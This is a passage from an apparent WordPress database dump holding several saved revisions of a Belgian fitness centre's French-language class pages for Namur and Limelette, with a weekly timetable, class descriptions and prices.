href=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-390 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map-300x235.png\&quot; width=\&quot;300\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '385-revision-v1', '', '', '2013-11-03 08:59:29', '2013-11-03 08:59:29', '', 385, 'http://www2.crosstrainingcenter.be/385-revision-v1/', 0, 'revision', '', 0),
(393, 1, '2013-11-03 08:59:46', '2013-11-03 08:59:46', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n&lt;h1&gt;Limelette&lt;/h1&gt;\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;a href=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-390 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map-300x235.png\&quot; width=\&quot;300\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '385-revision-v1', '', '', '2013-11-03 08:59:46', '2013-11-03 08:59:46', '', 385, 'http://www2.crosstrainingcenter.be/385-revision-v1/', 0, 'revision', '', 0),
(394, 1, '2013-11-03 09:00:07', '2013-11-03 09:00:07', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n&lt;h1&gt;Limelette&lt;/h1&gt;\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n&lt;br&gt;\r\n&lt;br&gt;\r\n&lt;a href=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-390 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map-300x235.png\&quot; width=\&quot;300\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '385-revision-v1', '', '', '2013-11-03 09:00:07', '2013-11-03 09:00:07', '', 385, 'http://www2.crosstrainingcenter.be/385-revision-v1/', 0, 'revision', '', 0),
(395, 1, '2013-11-03 09:01:32', '2013-11-03 09:01:32', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n&lt;h1&gt;Limelette&lt;/h1&gt;\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-11-03 09:01:32', '2013-11-03 09:01:32', '', 11, 'http://www2.crosstrainingcenter.be/11-revision-v1/', 0, 'revision', '', 0),
(396, 1, '2013-11-03 09:01:47', '2013-11-03 09:01:47', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n&lt;h1&gt;Namur&lt;/h1&gt;\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n&lt;h1&gt;Limelette&lt;/h1&gt;\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '383-revision-v1', '', '', '2013-11-03 09:01:47', '2013-11-03 09:01:47', '', 383, 'http://www2.crosstrainingcenter.be/383-revision-v1/', 0, 'revision', '', 0),
(397, 1, '2013-11-03 09:02:20', '2013-11-03 09:02:20', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n&lt;h1&gt;&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;&lt;/h1&gt;\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n&lt;h1&gt;&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;&lt;/h1&gt;\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;a href=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot;&gt;&lt;img class=\&quot;size-medium wp-image-390 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map-300x235.png\&quot; width=\&quot;300\&quot; height=\&quot;235\&quot; /&gt;&lt;/a&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '385-revision-v1', '', '', '2013-11-03 09:02:20', '2013-11-03 09:02:20', '', 385, 'http://www2.crosstrainingcenter.be/385-revision-v1/', 0, 'revision', '', 0),
(398, 1, '2013-11-03 09:03:02', '2013-11-03 09:03:02', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n&lt;h1&gt;&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;&lt;/h1&gt;\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n&lt;h1&gt;Limelette&lt;/h1&gt;\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td 